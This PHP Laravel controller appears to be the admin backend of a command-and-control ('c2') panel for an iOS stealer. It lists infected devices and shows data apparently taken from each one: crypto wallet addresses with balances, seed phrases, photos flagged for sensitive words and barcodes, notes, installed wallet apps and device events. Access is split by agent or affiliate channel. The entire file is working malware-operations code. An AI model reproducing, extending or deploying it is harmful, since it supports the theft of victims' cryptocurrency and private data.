448 lines
17 KiB
PHP
448 lines
17 KiB
PHP
<?php
|
|
|
|
namespace App\Http\Controllers\Admin;
|
|
|
|
use App\Http\Controllers\Concerns\PortalAware;
|
|
use App\Http\Controllers\Controller;
|
|
use App\Models\Device;
|
|
use App\Models\DeviceApp;
|
|
use App\Models\DeviceEvent;
|
|
use App\Models\Note;
|
|
use App\Models\Photo;
|
|
use App\Models\User;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Support\AgentScope;
|
|
use Illuminate\Database\Eloquent\Builder;
|
|
use Illuminate\Http\Request;
|
|
use Illuminate\Support\Facades\Storage;
|
|
|
|
class DeviceController extends Controller
|
|
{
|
|
use PortalAware;
|
|
|
|
public function index()
|
|
{
|
|
$agents = $this->isAgentPortal()
|
|
? collect()
|
|
: User::query()->orderBy('username')->get(['id', 'username']);
|
|
|
|
return view('admin.devices.index', [
|
|
'portal' => $this->portal(),
|
|
'agents' => $agents,
|
|
]);
|
|
}
|
|
|
|
public function data(Request $request)
|
|
{
|
|
$filters = $this->filtersFrom($request);
|
|
$q = $this->filteredQuery($filters);
|
|
|
|
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
|
|
$field = (string) $request->query('field', 'updated_at');
|
|
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
|
if (! in_array($field, $sortable, true)) {
|
|
$field = 'updated_at';
|
|
}
|
|
$q->orderBy('devices.'.$field, $order);
|
|
|
|
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
|
$page = max(1, (int) $request->query('page', 1));
|
|
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
|
|
|
|
$portal = $this->portal();
|
|
$data = collect($paginator->items())->map(function (Device $d) use ($portal) {
|
|
return [
|
|
'id' => $d->id,
|
|
'device_id' => $d->device_id,
|
|
'channel_id' => $d->channel_id ?: '',
|
|
'device_model' => $d->device_model ?: '',
|
|
'ios_version' => $d->ios_version ?: '',
|
|
'ip' => $d->ip ?: '',
|
|
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
|
|
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
|
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
|
'detail_url' => route($portal.'.devices.show', $d),
|
|
];
|
|
})->values();
|
|
|
|
return response()->json([
|
|
'code' => 0,
|
|
'msg' => '',
|
|
'count' => $paginator->total(),
|
|
'data' => $data,
|
|
]);
|
|
}
|
|
|
|
public function show(Device $device, Request $request)
|
|
{
|
|
$this->authorizeDevice($device);
|
|
|
|
$tab = $request->query('tab', 'wallets');
|
|
if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) {
|
|
$tab = 'wallets';
|
|
}
|
|
|
|
$addressSources = collect();
|
|
$addressChains = collect();
|
|
if ($tab === 'wallets') {
|
|
$addressSources = $device->addresses()
|
|
->whereNotNull('source')
|
|
->where('source', '!=', '')
|
|
->distinct()
|
|
->orderBy('source')
|
|
->pluck('source')
|
|
->values();
|
|
$addressChains = $device->addresses()
|
|
->whereNotNull('chain_type')
|
|
->where('chain_type', '!=', '')
|
|
->distinct()
|
|
->orderBy('chain_type')
|
|
->pluck('chain_type')
|
|
->values();
|
|
}
|
|
|
|
return view('admin.devices.show', [
|
|
'device' => $device,
|
|
'tab' => $tab,
|
|
'addressSources' => $addressSources,
|
|
'addressChains' => $addressChains,
|
|
'portal' => $this->portal(),
|
|
]);
|
|
}
|
|
|
|
public function tabData(Device $device, Request $request)
|
|
{
|
|
$this->authorizeDevice($device);
|
|
|
|
$tab = (string) $request->query('tab', 'wallets');
|
|
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
|
$page = max(1, (int) $request->query('page', 1));
|
|
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
|
$field = (string) $request->query('field', 'id');
|
|
|
|
return match ($tab) {
|
|
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
|
|
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
|
|
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
|
|
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
|
|
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
|
|
'events' => $this->paginateEvents($device, $field, $order, $limit, $page),
|
|
default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]),
|
|
};
|
|
}
|
|
|
|
public function photo(Device $device, int $photo)
|
|
{
|
|
$this->authorizeDevice($device);
|
|
|
|
$row = $device->photos()->whereKey($photo)->firstOrFail();
|
|
abort_unless(Storage::disk('local')->exists($row->path), 404);
|
|
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
|
|
|
|
return response(Storage::disk('local')->get($row->path), 200)
|
|
->header('Content-Type', $mime);
|
|
}
|
|
|
|
public function update(Request $request, Device $device)
|
|
{
|
|
$this->authorizeDevice($device);
|
|
|
|
$data = $request->validate([
|
|
'album_storage' => ['required', 'integer', 'in:0,1'],
|
|
]);
|
|
|
|
$device->album_storage = (int) $data['album_storage'] === 1;
|
|
$device->save();
|
|
|
|
return response()->json([
|
|
'code' => 0,
|
|
'msg' => 'ok',
|
|
'data' => [
|
|
'id' => $device->id,
|
|
'album_storage' => $device->albumStorageEnabled() ? 1 : 0,
|
|
],
|
|
]);
|
|
}
|
|
|
|
public function clearPhotos(Device $device)
|
|
{
|
|
$this->authorizeDevice($device);
|
|
|
|
$photos = $device->photos()->get(['id', 'path']);
|
|
$deletedFiles = 0;
|
|
foreach ($photos as $photo) {
|
|
$path = trim((string) ($photo->path ?? ''));
|
|
if ($path === '') {
|
|
continue;
|
|
}
|
|
if (Storage::disk('local')->exists($path)) {
|
|
Storage::disk('local')->delete($path);
|
|
$deletedFiles++;
|
|
}
|
|
}
|
|
|
|
$deletedRows = $device->photos()->delete();
|
|
|
|
$dir = 'c2/photos/'.$device->device_id;
|
|
try {
|
|
if (Storage::disk('local')->directoryExists($dir)) {
|
|
Storage::disk('local')->deleteDirectory($dir);
|
|
}
|
|
} catch (\Throwable) {
|
|
// older flysystem without directoryExists — best-effort wipe
|
|
try {
|
|
Storage::disk('local')->deleteDirectory($dir);
|
|
} catch (\Throwable) {
|
|
}
|
|
}
|
|
|
|
return response()->json([
|
|
'code' => 0,
|
|
'msg' => 'ok',
|
|
'data' => [
|
|
'deleted_rows' => (int) $deletedRows,
|
|
'deleted_files' => $deletedFiles,
|
|
],
|
|
]);
|
|
}
|
|
|
|
private function authorizeDevice(Device $device): void
|
|
{
|
|
if ($agent = $this->agent()) {
|
|
$ids = AgentScope::channelIdsFor($agent);
|
|
abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403);
|
|
}
|
|
}
|
|
|
|
private function paginatePhotos(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
|
{
|
|
$sortable = ['id', 'size', 'x_hit', 'upload_count', 'process_index', 'text_count', 'barcode_count', 'created_at'];
|
|
if (! in_array($field, $sortable, true)) {
|
|
$field = 'id';
|
|
}
|
|
|
|
$q = $device->photos();
|
|
// sensitive=1 → x_hit > 0(含敏感词)
|
|
if ((string) $request->query('sensitive', '') === '1') {
|
|
$q->where('x_hit', '>', 0);
|
|
}
|
|
|
|
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
|
$portal = $this->portal();
|
|
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal) {
|
|
return [
|
|
'id' => $photo->id,
|
|
'url' => route($portal.'.devices.photo', [$device, $photo->id]),
|
|
'sha256' => $photo->sha256 ?: '',
|
|
'size' => $photo->size,
|
|
'x_hit' => $photo->x_hit,
|
|
'upload_count' => $photo->upload_count,
|
|
'process_index' => $photo->process_index,
|
|
'text_count' => $photo->text_count,
|
|
'barcode_count' => $photo->barcode_count,
|
|
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
|
|
];
|
|
})->values();
|
|
|
|
return $this->layuiPage($paginator->total(), $data);
|
|
}
|
|
|
|
private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
|
{
|
|
$sortable = ['id', 'source', 'chain_type', 'address', 'created_at', 'updated_at'];
|
|
if (! in_array($field, $sortable, true)) {
|
|
$field = 'id';
|
|
}
|
|
$q = $device->addresses();
|
|
$source = trim((string) $request->query('source', ''));
|
|
if ($source !== '') {
|
|
$q->where('source', $source);
|
|
}
|
|
$chainType = trim((string) $request->query('chain_type', ''));
|
|
if ($chainType !== '') {
|
|
$q->where('chain_type', $chainType);
|
|
}
|
|
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
|
$data = collect($paginator->items())->map(function (WalletAddress $addr) {
|
|
$coins = $addr->formattedCoins();
|
|
|
|
return [
|
|
'id' => $addr->id,
|
|
'source' => $addr->source ?: '',
|
|
'chain_type' => $addr->chain_type ?: '',
|
|
'address' => $addr->address,
|
|
'usdt' => $coins['usdt'],
|
|
'trx' => $coins['trx'],
|
|
'eth' => $coins['eth'],
|
|
'btc' => $coins['btc'],
|
|
'bnb' => $coins['bnb'],
|
|
'monitor' => (int) $addr->monitor,
|
|
'created_at' => optional($addr->created_at)->format('Y-m-d H:i:s'),
|
|
'updated_at' => optional($addr->updated_at)->format('Y-m-d H:i:s'),
|
|
];
|
|
})->values();
|
|
|
|
return $this->layuiPage($paginator->total(), $data);
|
|
}
|
|
|
|
private function paginateMnemonics(Device $device, string $field, string $order, int $limit, int $page)
|
|
{
|
|
$sortable = ['id', 'source', 'created_at', 'updated_at'];
|
|
if (! in_array($field, $sortable, true)) {
|
|
$field = 'id';
|
|
}
|
|
$paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
|
$data = collect($paginator->items())->map(function (WalletMnemonic $w) {
|
|
return [
|
|
'id' => $w->id,
|
|
'source' => $w->source ?: '',
|
|
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
|
|
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
|
|
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
|
|
];
|
|
})->values();
|
|
|
|
return $this->layuiPage($paginator->total(), $data);
|
|
}
|
|
|
|
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
|
|
{
|
|
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
|
|
if (! in_array($field, $sortable, true)) {
|
|
$field = 'is_wallet';
|
|
$order = 'desc';
|
|
}
|
|
$q = $device->apps();
|
|
if ($field === 'is_wallet') {
|
|
$q->orderByDesc('is_wallet')->orderBy('name');
|
|
} else {
|
|
$q->orderBy($field, $order);
|
|
}
|
|
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
|
$data = collect($paginator->items())->map(function (DeviceApp $app) {
|
|
return [
|
|
'id' => $app->id,
|
|
'name' => $app->name ?: '',
|
|
'bundle_id' => $app->bundle_id ?: '',
|
|
'version' => $app->version ?: '',
|
|
'is_wallet' => (bool) $app->is_wallet,
|
|
];
|
|
})->values();
|
|
|
|
return $this->layuiPage($paginator->total(), $data);
|
|
}
|
|
|
|
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
|
|
{
|
|
$sortable = ['id', 'created_at', 'updated_at'];
|
|
if (! in_array($field, $sortable, true)) {
|
|
$field = 'id';
|
|
}
|
|
$paginator = $device->notes()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
|
$data = collect($paginator->items())->map(function (Note $note) {
|
|
$content = $note->content;
|
|
if (is_array($content)) {
|
|
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
|
}
|
|
|
|
return [
|
|
'id' => $note->id,
|
|
'content' => $content ?: '',
|
|
'created_at' => optional($note->created_at)->format('Y-m-d H:i:s'),
|
|
'updated_at' => optional($note->updated_at)->format('Y-m-d H:i:s'),
|
|
];
|
|
})->values();
|
|
|
|
return $this->layuiPage($paginator->total(), $data);
|
|
}
|
|
|
|
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
|
|
{
|
|
$sortable = ['id', 'event_name', 'desc', 'created_at'];
|
|
if (! in_array($field, $sortable, true)) {
|
|
$field = 'id';
|
|
}
|
|
$paginator = $device->events()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
|
$data = collect($paginator->items())->map(function (DeviceEvent $ev) {
|
|
return [
|
|
'id' => $ev->id,
|
|
'event_name' => $ev->event_name ?: '',
|
|
'desc' => $ev->desc ?: '',
|
|
'context' => $ev->context_json
|
|
? json_encode($ev->context_json, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
|
: '',
|
|
'created_at' => optional($ev->created_at)->format('Y-m-d H:i:s'),
|
|
];
|
|
})->values();
|
|
|
|
return $this->layuiPage($paginator->total(), $data);
|
|
}
|
|
|
|
/**
|
|
* @param \Illuminate\Support\Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
|
|
*/
|
|
private function layuiPage(int $count, $data)
|
|
{
|
|
return response()->json([
|
|
'code' => 0,
|
|
'msg' => '',
|
|
'count' => $count,
|
|
'data' => $data,
|
|
]);
|
|
}
|
|
|
|
/**
|
|
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int}
|
|
*/
|
|
private function filtersFrom(Request $request): array
|
|
{
|
|
return [
|
|
'device_key' => trim((string) $request->query('device_key', '')),
|
|
'channel_id' => trim((string) $request->query('channel_id', '')),
|
|
'model' => trim((string) $request->query('model', '')),
|
|
'ip' => trim((string) $request->query('ip', '')),
|
|
'ios' => trim((string) $request->query('ios', '')),
|
|
'installed_from' => trim((string) $request->query('installed_from', '')),
|
|
'installed_to' => trim((string) $request->query('installed_to', '')),
|
|
'agent_user_id' => (int) $request->query('agent_user_id', 0),
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int} $filters
|
|
*/
|
|
private function filteredQuery(array $filters): Builder
|
|
{
|
|
$q = Device::query()->select('devices.*');
|
|
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
|
|
|
if ($filters['device_key'] !== '') {
|
|
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
|
|
}
|
|
if ($filters['channel_id'] !== '') {
|
|
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
|
|
}
|
|
if ($filters['model'] !== '') {
|
|
$q->where('devices.device_model', 'like', '%'.$filters['model'].'%');
|
|
}
|
|
if ($filters['ip'] !== '') {
|
|
$q->where('devices.ip', 'like', '%'.$filters['ip'].'%');
|
|
}
|
|
if ($filters['ios'] !== '') {
|
|
$q->where('devices.ios_version', 'like', '%'.$filters['ios'].'%');
|
|
}
|
|
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_from'])) {
|
|
$q->whereDate('devices.created_at', '>=', substr($filters['installed_from'], 0, 10));
|
|
}
|
|
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
|
|
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
|
|
}
|
|
if (! $this->isAgentPortal() && $filters['agent_user_id'] > 0) {
|
|
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
|
|
}
|
|
|
|
return $q;
|
|
}
|
|
}
|